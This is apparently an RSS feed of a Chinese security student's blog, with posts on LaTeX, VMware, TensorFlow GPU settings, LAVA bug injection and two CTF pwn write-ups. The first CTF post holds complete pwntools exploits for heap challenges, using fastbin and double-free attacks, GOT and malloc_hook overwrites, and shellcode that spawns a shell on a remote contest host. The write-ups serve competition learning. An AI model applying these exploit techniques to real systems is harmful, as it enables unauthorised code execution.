          &lt;li&gt;&lt;a href=&quot;#字体形状&quot; id=&quot;markdown-toc-字体形状&quot;&gt;字体形状&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#字体大小&quot; id=&quot;markdown-toc-字体大小&quot;&gt;字体大小&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#定义新命令&quot; id=&quot;markdown-toc-定义新命令&quot;&gt;定义新命令&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#官方文档&quot; id=&quot;markdown-toc-官方文档&quot;&gt;官方文档&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#扩展&quot; id=&quot;markdown-toc-扩展&quot;&gt;扩展&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;latex初上手&quot;&gt;latex初上手&lt;/h2&gt;

写论文怎么能不用latex呢，所以来用一用latex，排版比较美观也是。

&lt;h3 id=&quot;latex安装&quot;&gt;latex安装&lt;/h3&gt;

latex竟然需要编译。。看起来和md很像。

首先要安环境，TeX Live

清华镜像站 &lt;a href=&quot;https://mirrors.tuna.tsinghua.edu.cn/CTAN/systems/texlive/Images/texlive.iso&quot;&gt;https://mirrors.tuna.tsinghua.edu.cn/CTAN/systems/texlive/Images/texlive.iso&lt;/a&gt;

右键管理员运行install-tl-advanced.bat

安装时注意将安装TeXworks前端和After installation, get package update from CTAN点否，然后上面还有纸张的选项，如我选的latter

编译器&lt;a href=&quot;https://sourceforge.net/projects/texstudio/files/latest/download&quot;&gt;https://sourceforge.net/projects/texstudio/files/latest/download&lt;/a&gt;

&lt;h3 id=&quot;latex使用&quot;&gt;latex使用&lt;/h3&gt;

&lt;h4 id=&quot;顶格&quot;&gt;顶格&lt;/h4&gt;

段落前加 \noindent

&lt;h4 id=&quot;文字格式&quot;&gt;文字格式&lt;/h4&gt;

加粗 \textbf{文字}

斜体 \emph{文字}

下划线 \underline{文字}

&lt;h4 id=&quot;转义&quot;&gt;转义&lt;/h4&gt;

前加 \ 可以打出特殊意义的字符，如 _ ,&amp;amp;

&lt;h4 id=&quot;公式&quot;&gt;公式&lt;/h4&gt;

网上写的是$ xxx $这样两个$框起来，但是不居中

实际上写公式的时候\begin{equation} \end{equation}，这样就是居中的了，还在后面有标号。

&lt;h4 id=&quot;希腊字母&quot;&gt;希腊字母&lt;/h4&gt;

latex有自己的希腊字母表示法，是 \ 开头的一串字母，可参考下面这个

https://blog.csdn.net/xxzhangx/article/details/52778539

&lt;h4 id=&quot;图片&quot;&gt;图片&lt;/h4&gt;

图片要大小设置为相同，所以要进行调整

\begin{figure}[htbp]
	\centerline{\includegraphics[width=0.45\textwidth]{fig1.png}}
	\caption{aaaa.}
	\label{fig1}
\end{figure}

如这样，就可以将其设置在双栏中，自动调整大小

&lt;h3 id=&quot;中文处理&quot;&gt;中文处理&lt;/h3&gt;

使用Xelatex处理中文

options-&amp;gt;Build-&amp;gt;Default Compile , Xelatex

&lt;h3 id=&quot;字体&quot;&gt;字体&lt;/h3&gt;

&lt;h4 id=&quot;字体族&quot;&gt;字体族&lt;/h4&gt;

罗马体、打字机字体、无衬线字体

\textrm{Roman Family}  \texttt{Typewriter Family}  \textsf{Sans Serif Family}

字体声明也可以 为\rmfamily

一次字体声明后会作用于后面所有，除非遇到新的可以使用大括号限制作用域

\ttfamily xxx

{\sffamily xxx}

&lt;h4 id=&quot;字体编码&quot;&gt;字体编码&lt;/h4&gt;

正文字体编码 OT1、T1、EU1等

数学字体编码 OML、OMS、OMX等

&lt;h4 id=&quot;字体系列&quot;&gt;字体系列&lt;/h4&gt;

设置字体的粗细和宽度

\textmd{Medium Series}

&lt;h4 id=&quot;字体形状&quot;&gt;字体形状&lt;/h4&gt;

斜体、伪斜体、小型大写等

字体设置命令和声明也可

中文粗体是黑体，斜体是楷书

&lt;h4 id=&quot;字体大小&quot;&gt;字体大小&lt;/h4&gt;

字号

可在\documentclass[10pt]{article}中设置文档默认大小

&lt;h3 id=&quot;定义新命令&quot;&gt;定义新命令&lt;/h3&gt;

\newcommand\degree{^circ} 定义角度符号

&lt;h3 id=&quot;官方文档&quot;&gt;官方文档&lt;/h3&gt;

命令行texdoc ctex 打开宏包手册

&lt;h3 id=&quot;扩展&quot;&gt;扩展&lt;/h3&gt;

从网上下载模板的时候，会发现大多会给自己实现的库，这些库为
</description>
        <pubDate>Mon, 10 Feb 2020 00:00:00 +0000</pubDate>
        <link>https://ble55ing.github.io/2020/02/10/latex/</link>
        <guid isPermaLink="true">https://ble55ing.github.io/2020/02/10/latex/</guid>
        
        <category>paper</category>
        
        <category>atmosphere</category>
        
        
        <category>paper</category>
        
      </item>
    
      <item>
        <title>VMware Workstation 未能启动 VMware Authorization Service</title>
        <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#vmware-workstation-未能启动-vmware-authorization-service&quot; id=&quot;markdown-toc-vmware-workstation-未能启动-vmware-authorization-service&quot;&gt;VMware Workstation 未能启动 VMware Authorization Service&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;vmware-workstation-未能启动-vmware-authorization-service&quot;&gt;VMware Workstation 未能启动 VMware Authorization Service&lt;/h2&gt;

今天启动vmware的时候，突然弹出来一个框告诉我这个，然后查的也没人写过禁用怎么办，所以记录一下。

首先是windows +r 在运行菜单输入services.msc ，打开服务项管理。

找到VMware Authorization Service，这里此时是禁用

双击把其修改为自动或手动，应用启动确定应该就成了，但我应用时弹出了禁止访问，有的博客写了有这种情况，但没写怎么解决。

这应该是由于杀毒软件将其禁用了的关系，在其中找到改成允许启动就好了。

我用的火绒是在启动项管理-&amp;gt;服务项里要进行的修改。
</description>
        <pubDate>Sun, 19 Jan 2020 00:00:00 +0000</pubDate>
        <link>https://ble55ing.github.io/2020/01/19/vmware/</link>
        <guid isPermaLink="true">https://ble55ing.github.io/2020/01/19/vmware/</guid>
        
        <category>atmosphere</category>
        
        
        <category>linux</category>
        
      </item>
    
      <item>
        <title>strcpy 函数逻辑分析</title>
        <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#tensorflow-20如何设置gpu内存占用&quot; id=&quot;markdown-toc-tensorflow-20如何设置gpu内存占用&quot;&gt;tensorflow 2.0如何设置GPU内存占用&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;tensorflow-20如何设置gpu内存占用&quot;&gt;tensorflow 2.0如何设置GPU内存占用&lt;/h2&gt;

主要在于设置GPU内存使用

最近模型总是把内存跑满。。这不行啊。别人没法用了，所以做一些设置。

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;os.environ['CUDA_VISIBLE_DEVICES']='1' 
config = tf.compat.v1.ConfigProto(allow_soft_placement=True)
config.gpu_options.per_process_gpu_memory_fraction = 0.5
config.gpu_options.allow_growth=True 
sess =tf.compat.v1.Session(config=config)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

从上到下依次是：

设置使用的显卡编号

初始化设置信息

配置gpu最大使用上限

配置动态增长

配置设置

</description>
        <pubDate>Tue, 17 Dec 2019 00:00:00 +0000</pubDate>
        <link>https://ble55ing.github.io/2019/12/17/DeepLearning-env/</link>
        <guid isPermaLink="true">https://ble55ing.github.io/2019/12/17/DeepLearning-env/</guid>
        
        <category>DeepLearning</category>
        
        
        <category>DeepLearning</category>
        
      </item>
    
      <item>
        <title>十一月CTF部分题目汇总二</title>
        <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#十一月ctf线下部分题目汇总二&quot; id=&quot;markdown-toc-十一月ctf线下部分题目汇总二&quot;&gt;十一月CTF线下部分题目汇总二&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#湖湘杯&quot; id=&quot;markdown-toc-湖湘杯&quot;&gt;湖湘杯&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#pwn1&quot; id=&quot;markdown-toc-pwn1&quot;&gt;pwn1&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#红帽杯&quot; id=&quot;markdown-toc-红帽杯&quot;&gt;红帽杯&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#pwn2&quot; id=&quot;markdown-toc-pwn2&quot;&gt;pwn2&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#pwn3&quot; id=&quot;markdown-toc-pwn3&quot;&gt;pwn3&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;十一月ctf线下部分题目汇总二&quot;&gt;十一月CTF线下部分题目汇总二&lt;/h2&gt;

湖湘杯和红帽杯的比赛题目，把做的中比较有意思的记录一下，这个是线下

&lt;h3 id=&quot;湖湘杯&quot;&gt;湖湘杯&lt;/h3&gt;

住的竟然是五星级宾馆，但65元水准的五星级自助餐就。。emmm

&lt;h4 id=&quot;pwn1&quot;&gt;pwn1&lt;/h4&gt;

久违的菜单题，程序除了常规的1234选项外，还藏了一个选项5：

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;        else
        {
          if ( v2 == 4 )
          {
            puts(&quot;bye!&quot;);
            exit(0);
          }
LABEL_16:
          _fprintf_chk((__int64)stderr, 1LL, (__int64)&quot;unknown options, foolish %s&quot;, (__int64)byte_202100);
          fflush(stderr);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

很关键。这里由于输入的name在byte_201000是0x50，结合前面的 字符正好0x69，能构造offbyone，可以这样构造overlap然后泄露程序libc地址然后fastbin attack。

程序的脆弱点是在这个地方，signed int 的v3存在整数溢出

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  v3 = getint();
  if ( v3 &amp;gt; 3 )
  {
    fwrite(&quot;Invalid person :P\n&quot;, 1uLL, 0x12uLL, stderr);
    fflush(stderr);
    exit(0);
  }
  ((void (__fastcall *)(__int64, _QWORD, _QWORD))*(&amp;amp;fastcaller + v3))(
    a1,
    *(_QWORD *)&amp;amp;pointer[4 * v2 + 2],
    (unsigned int)pointer[4 * v2 + 1]);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

这里有got表的函数的任意调用。注意：fprintf的格式化字符串输出是打在本地的，所以远程打的时候不能用这个泄露地址。这个题目中的got表中的很多函数是chk的版本，所以比如sprintf可以写入一个地址的。可以通过setbuf把stderr里写入堆块开始地址，从而可以和前面的选项5一起使用。

注：经大佬提醒，stderr的输出是默认不显示在远端的，但可以设置让其显示在远端。

&lt;h3 id=&quot;红帽杯&quot;&gt;红帽杯&lt;/h3&gt;

&lt;h3 id=&quot;pwn2&quot;&gt;pwn2&lt;/h3&gt;

一个base64，

然后system(“/bin/sh”)就能getshell，因为远端的defense是空的

这道题是修复方通过改defense来进行防御的

很好的出题思路，不过由于是AWD plus机制，没有起到应有效果

&lt;h3 id=&quot;pwn3&quot;&gt;pwn3&lt;/h3&gt;

baby vm，之前没做过这种，比赛上强行做的一波，疯狂绕远路。

有一个指令是能putchar，造成任意读， 另一个指令getchar，构成任意写，最后的payload就是发一个字符串。类似’\x03’+’\x77’+p64(0x8048323)+’\x03’+..
</description>
        <pubDate>Sun, 01 Dec 2019 00:00:00 +0000</pubDate>
        <link>https://ble55ing.github.io/2019/12/01/ctf-hxbhmb2/</link>
        <guid isPermaLink="true">https://ble55ing.github.io/2019/12/01/ctf-hxbhmb2/</guid>
        
        <category>ctf</category>
        
        <category>pwn</category>
        
        
        <category>ctf</category>
        
        <category>pwn</category>
        
      </item>
    
      <item>
        <title>十一月CTF部分题目汇总一</title>
        <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#十一月ctf部分题目汇总一&quot; id=&quot;markdown-toc-十一月ctf部分题目汇总一&quot;&gt;十一月CTF部分题目汇总一&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#湖湘杯&quot; id=&quot;markdown-toc-湖湘杯&quot;&gt;湖湘杯&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#pwn1-hacknote&quot; id=&quot;markdown-toc-pwn1-hacknote&quot;&gt;pwn1 HackNote&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#pwn2-namesystem&quot; id=&quot;markdown-toc-pwn2-namesystem&quot;&gt;pwn2 NameSystem&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;十一月ctf部分题目汇总一&quot;&gt;十一月CTF部分题目汇总一&lt;/h2&gt;

湖湘杯和红帽杯的比赛题目，把做的中比较有意思的记录一下

&lt;h3 id=&quot;湖湘杯&quot;&gt;湖湘杯&lt;/h3&gt;

&lt;h4 id=&quot;pwn1-hacknote&quot;&gt;pwn1 HackNote&lt;/h4&gt;

静态编译的堆题。。好复杂。但大段大段的任意地址写。

没开PIE，但堆地址和栈地址是随机的

一开始是可以unlink的，改malloc到shellcode就行了。后来主办方更新了附件，unlink不了了

不过我一开始就没想用unlink做，所以受的影响不大（哈哈）

我的方法是使用两次fastbin attack，一次去改malloc_hook，一次去往固定地址写shellcode。

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;from pwn import *
context.arch=&quot;amd64&quot;

libc=ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)


def add(size,content):
    p.sendlineafter(&quot;-----------------&quot;,&quot;1&quot;)
    p.sendlineafter(&quot;Size:&quot;,str(size))
    p.sendafter(&quot;Note:&quot;,content)

def delete(idx):
    p.sendlineafter(&quot;-----------------&quot;,&quot;2&quot;)
    p.sendlineafter(&quot;Note:&quot;,str(idx))

def edit(idx,content):
    p.sendlineafter(&quot;-----------------&quot;,&quot;3&quot;)
    p.sendlineafter(&quot;Note:&quot;,str(idx))
    p.sendafter(&quot;Note:&quot;,content)

def exploit():

	add(0x18,&quot;0&quot;*0x18+&quot;\n&quot;)
	add(0x18,&quot;1&quot;*0x18+&quot;\n&quot;)
	add(0x38,&quot;2&quot;*0x18+&quot;\n&quot;)
	edit(0,&quot;a&quot;*0x18+&quot;\n&quot;)
	edit(0,&quot;a&quot;*0x18+'\x61'+&quot;\n&quot;)
	delete(1)
	add(0x58,&quot;3&quot;*0x18+p64(0x41)+&quot;b&quot;*0x38+&quot;\n&quot;)
	delete(2)
	edit(1,&quot;3&quot;*0x18+p64(0x41)+p64(0x6cb772)+&quot;b&quot;*0x30+&quot;\n&quot;)
	add(0x38,&quot;\n&quot;)

	add(0x38,&quot;\x00&quot;*6+&quot;\n&quot;)#+p64(0x6ca790)+&quot;\n&quot;)

	add(0x18,&quot;\n&quot;)
	add(0x18,&quot;0&quot;*0x18+&quot;\n&quot;)#4
	add(0x68,&quot;\n&quot;)#5
	add(0x61,&quot;\n&quot;)#6
	edit(4,&quot;a&quot;*0x18+&quot;\n&quot;)
	edit(4,&quot;a&quot;*0x18+'\x91'+&quot;\n&quot;)
	#
	delete(5)
	add(0x88,&quot;3&quot;*0x18+p64(0x71)+&quot;b&quot;*0x48+&quot;\n&quot;)
	delete(4)
	delete(6)
	
	edit(5,&quot;3&quot;*0x18+p64(0x71)+p64(0x6cd63d)+&quot;b&quot;*0x30+&quot;\n&quot;)
	
	
	add(0x68,&quot;4444&quot;+&quot;\n&quot;)
	add(0x68,&quot;\x00&quot;*3+asm(shellcraft.sh())+&quot;\n&quot;)
	#gdb.attach(p)
	edit(3,&quot;\x00&quot;*6+p64(0x6cd648)+'\n')
	p.sendlineafter(&quot;-----------------&quot;,&quot;1&quot;)
	p.sendlineafter(&quot;Size:&quot;,str(55))
	p.interactive()
	

if __name__ == &quot;__main__&quot;:
    context.binary = &quot;./HackNote2&quot;
    #context.terminal = ['tmux','sp','-h']
    context.log_level = 'debug'
    elf = ELF('./HackNote2')
    debug =1
    if debug==1:
        p = remote('183.129.189.62',18004)
        #libc=ELF('./libc-2.27.so')
        exploit()
    else:
        p=process('./HackNote2')#,env={'LD_PRELOAD':'./libc-2.27.so'})
        #libc = ELF('./libc-2.27.so')
        exploit()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;pwn2-namesystem&quot;&gt;pwn2 NameSystem&lt;/h4&gt;

程序存在double free。在释放程序的倒数第二个块的时候会将倒数第一个块放过来，但是

每次写入都会在最后补0。尝试一次double free 改free_got位system然后爆破，由于函数中有00所以通不过？函数地址一定不能有00吗。。也不一定吧，反正通不过，一直爆破一直爆破，也就爆不出来。

所以还是尝试3次double free 泄露地址再改system

一次double free改list[0]为puts@got，一次改free@got为puts地址泄露libc，一次改free@got为system get shell。

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;from pwn import *
context.arch=&quot;amd64&quot;

libc=ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)


def add(size,content):
	p.sendlineafter(&quot;choice :&quot;,&quot;1&quot;)
	p.sendlineafter(&quot;Size:&quot;,str(size))
	p.sendafter(&quot;Name:&quot;,content)

def delete(idx):
	p.sendlineafter(&quot;choice :&quot;,&quot;3&quot;)
	p.sendlineafter(&quot;delete:&quot;,str(idx))

def exploit():
	try :
		#p = process(&quot;./NameSystem&quot;)
		p = remote('183.129.189.62',17105)
		for i in range(0,15):
			add(0x18,&quot;/bin/sh;\n&quot;)
		for i in range(15,19):
			add(0x50,&quot;0&quot;*0x10+&quot;\n&quot;)
		add(0x50,&quot;0&quot;*0x3+&quot;\n&quot;)
		delete(18)
		delete(19)
		delete(17)
		delete(17)
		add(0x58,p64(0x601ffa)+&quot;\n&quot;)
		add(0x58,&quot;aaaa\n&quot;)
		delete(0)
		add(0x58,&quot;aaa&quot;+&quot;\n&quot;)
		delete(0)
		
		add(0x58,&quot;\x00&quot;*14+'\x90\x33'+&quot;\n&quot;)
		delete(0)
		p.interactive()
	except:
		p.close()
	
if __name__ == &quot;__main__&quot;:
    context.binary = &quot;./NameSystem&quot;
    #context.terminal = ['tmux','sp','-h']
    #context.log_level = 'debug'
    elf = ELF('./NameSystem')
    debug =1
    if debug==0:
        p = remote('183.129.189.62',17105)
        #libc=ELF('./libc-2.27.so')
        exploit()
    else:
        #,env={'LD_PRELOAD':'./libc-2.27.so'})
        #libc = ELF('./libc-2.27.so')
        while 1:
        	exploit()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

</description>
        <pubDate>Mon, 11 Nov 2019 00:00:00 +0000</pubDate>
        <link>https://ble55ing.github.io/2019/11/11/ctf-hxbhmb/</link>
        <guid isPermaLink="true">https://ble55ing.github.io/2019/11/11/ctf-hxbhmb/</guid>
        
        <category>ctf</category>
        
        <category>pwn</category>
        
        
        <category>ctf</category>
        
        <category>pwn</category>
        
      </item>
    
      <item>
        <title>二进制插桩方式探究</title>
        <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#lava安装实践&quot; id=&quot;markdown-toc-lava安装实践&quot;&gt;lava安装实践&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#make-clean&quot; id=&quot;markdown-toc-make-clean&quot;&gt;make clean&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#configure-prefixpwdlavabase64coreutils-824-lava-safelava-install&quot; id=&quot;markdown-toc-configure-prefixpwdlavabase64coreutils-824-lava-safelava-install&quot;&gt;./configure –prefix=’pwd’/lava/base64/coreutils-8.24-lava-safe/lava-install&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#make--j-nproc&quot; id=&quot;markdown-toc-make--j-nproc&quot;&gt;make -j $(nproc)&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#make-install&quot; id=&quot;markdown-toc-make-install&quot;&gt;make install&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#uniq特殊&quot; id=&quot;markdown-toc-uniq特殊&quot;&gt;uniq特殊&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#who特殊&quot; id=&quot;markdown-toc-who特殊&quot;&gt;who特殊&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#与afl的结合&quot; id=&quot;markdown-toc-与afl的结合&quot;&gt;与AFL的结合&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;lava安装实践&quot;&gt;lava安装实践&lt;/h2&gt;

lava运行，0/44，正好系统是刚安装过的，什么都没有，所以正好完整的记录一下过程（还好要到了root，省了好多事）

解压然后安装

&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo apt-get install libacl1-dev&lt;/code&gt;

然后运行 ./validate.sh，注意为其和core..文件夹下的configure文件添加执行权限。

由于在运行命令时将输出都重定向了&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;amp;&amp;gt; /dev/null&lt;/code&gt;，所以看不到问题，就很僵硬，一步一步单提出来运行试试。

&lt;h3 id=&quot;make-clean&quot;&gt;make clean&lt;/h3&gt;

第一步：报的WARNING: ‘aclocal-1.15’ is missing on your system.

安装Automake

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wget http://ftp.gnu.org/gnu/automake/automake-1.16.tar.gz
tar -xvf automake-1.16.tar.gz
cd automake-1.16
./configure --docdir=/usr/share/doc/automake-1.16
make
make install
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

然后报错：build-aux/git-version-gen: Permission denied

解决方法：chmod 777 build-aux/git-version-gen

configure时爆错：configure: error: Autoconf 2.65 or better is required.

安装autoconf-2.68.tar.gz

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wget http://ftp.gnu.org/gnu/autoconf/autoconf-latest.tar.gz
tar xzf autoconf-2.69.tar.gz
cd autoconf-2.69
./configure
make &amp;amp;&amp;amp; make install
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

然后configure时报错：error: no acceptable m4 could be found in $PATH.

然后安装m4

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wget http://ftp.gnu.org/gnu/m4/m4-1.4.9.tar.gz
tar -xvf m4-1.4.9.tar.gz 
cd m4-1.4.9
./configure
make
make install
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

然后问题没解决。。

查资料需要运行autoreconf -vfi，需要autopoint，sudo apt-get install autopoint，然后发现版本不够，回去更新autoconf-latest。

然后再试autoreconf -vfi，注意要在base64/core..里运行，出错为build-aux/git-version-gen: Permission denied，sudo chmod 777 build-aux/git-version-gen，再运行通过

然后make clean，注意前面安装时要用sudo权限，但这里执行不要用

&lt;h3 id=&quot;configure-prefixpwdlavabase64coreutils-824-lava-safelava-install&quot;&gt;./configure –prefix=’pwd’/lava/base64/coreutils-8.24-lava-safe/lava-install&lt;/h3&gt;

没有问题

&lt;h3 id=&quot;make--j-nproc&quot;&gt;make -j $(nproc)&lt;/h3&gt;

报错gperf: command not found

sudo apt-get install gperf

然后报错 makeinfo: command not found

sudo  apt-get install texinfo

&lt;h3 id=&quot;make-install&quot;&gt;make install&lt;/h3&gt;

没问题

ok

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Building buggy base64...
Checking if buggy base64 succeeds on non-trigger input...
Success: base64 -d inputs/utmp.b64 returned 0
Validating bugs...
Validated 44 / 44 bugs
You can see validated.txt for the exit code of each buggy version.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

不容易不容易

在core../lava-install/bin里能够找到编译完的程序。明明是base64，为啥编译了这么多。。

注意：虽然编译了这么多，不过将base64.c的文件夹用来测md5sum还是不行的，需要用md5sum的文件夹。。一开始想先用base64测测，没想到扩展时竟然在这卡了挺久。。

&lt;h3 id=&quot;uniq特殊&quot;&gt;uniq特殊&lt;/h3&gt;

64位是20/28，据说32位没这问题

&lt;h3 id=&quot;who特殊&quot;&gt;who特殊&lt;/h3&gt;

who的lava_get 插入的有些问题，who.c中需要改成如下，目录在coreutils-8.24-lava-safe/src/who.c 中。

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;unsigned int lava_get(unsigned int bug_num) {

#define SWAP_UINT32(x) (((x) &amp;gt;&amp;gt; 24) | (((x) &amp;amp; 0x00FF0000) &amp;gt;&amp;gt; 8) | (((x) &amp;amp; 0x0000FF00) &amp;lt;&amp;lt; 8) | ((x) &amp;lt;&amp;lt; 24))
  if (0x6c617661 - bug_num == lava_val[bug_num] ||
      SWAP_UINT32(0x6c617661 - bug_num) == lava_val[bug_num]) {
    printf(&quot;Successfully triggered bug %d, crashing now!\n&quot;, bug_num);
    fflush(0);
    //exit(0);
  }
  else {
    //printf(&quot;Not successful for bug %d; val = %08x not %08x or %08x\n&quot;, bug_num, lava_val[bug_num], 0x6c617661 + bug_num, 0x6176616c + bug_num);
  }
  return lava_val[bug_num];
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;与afl的结合&quot;&gt;与AFL的结合&lt;/h3&gt;

命令行输入

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;export CC=afl-gcc
export CXX=afl-g++
./validate.sh

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

就可以生成afl版的，记得编译完要改回去，还有，在编译前要讲validate.sh里的输出地址改了

参考文章

&lt;a href=&quot;https://zhuanlan.zhihu.com/p/82150217&quot;&gt;https://zhuanlan.zhihu.com/p/82150217&lt;/a&gt;

&lt;a href=&quot;https://www.jianshu.com/p/31a048ccb2ad&quot;&gt;https://www.jianshu.com/p/31a048ccb2ad&lt;/a&gt;
</description>
        <pubDate>Thu, 24 Oct 2019 00:00:00 +0000</pubDate>
        <link>https://ble55ing.github.io/2019/10/24/lava/</link>
        <guid isPermaLink="true">https://ble55ing.github.io/2019/10/24/lava/</guid>
        
        <category>elf</category>
        
        
        <category>elf</category>
        
      </item>
    
      <item>
        <title>lava</title>
        <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#lava-large-scale-automated-vulnerability-addition&quot; id=&quot;markdown-toc-lava-large-scale-automated-vulnerability-addition&quot;&gt;LAVA: Large-scale Automated Vulnerability Addition&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#目的&quot; id=&quot;markdown-toc-目的&quot;&gt;目的&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#实现思路&quot; id=&quot;markdown-toc-实现思路&quot;&gt;实现思路&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#污点分析&quot; id=&quot;markdown-toc-污点分析&quot;&gt;污点分析&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#漏洞插入&quot; id=&quot;markdown-toc-漏洞插入&quot;&gt;漏洞插入&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#lava-1和lava-m&quot; id=&quot;markdown-toc-lava-1和lava-m&quot;&gt;LAVA-1和LAVA-M&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#测试结果&quot; id=&quot;markdown-toc-测试结果&quot;&gt;测试结果&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#未来工作&quot; id=&quot;markdown-toc-未来工作&quot;&gt;未来工作&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;lava-large-scale-automated-vulnerability-addition&quot;&gt;LAVA: Large-scale Automated Vulnerability Addition&lt;/h3&gt;

本文提出了一种新颖的基于动态污染分析的技术 LAVA，它可以快速、自动地向程序源代码中注入大量实际的错误，从而生成地面真实语料库。形成了一个基础的方法，产生大量真实脆弱性库的需求，为工具开发人员提供了一个高质量的、严格的工具评估方法。

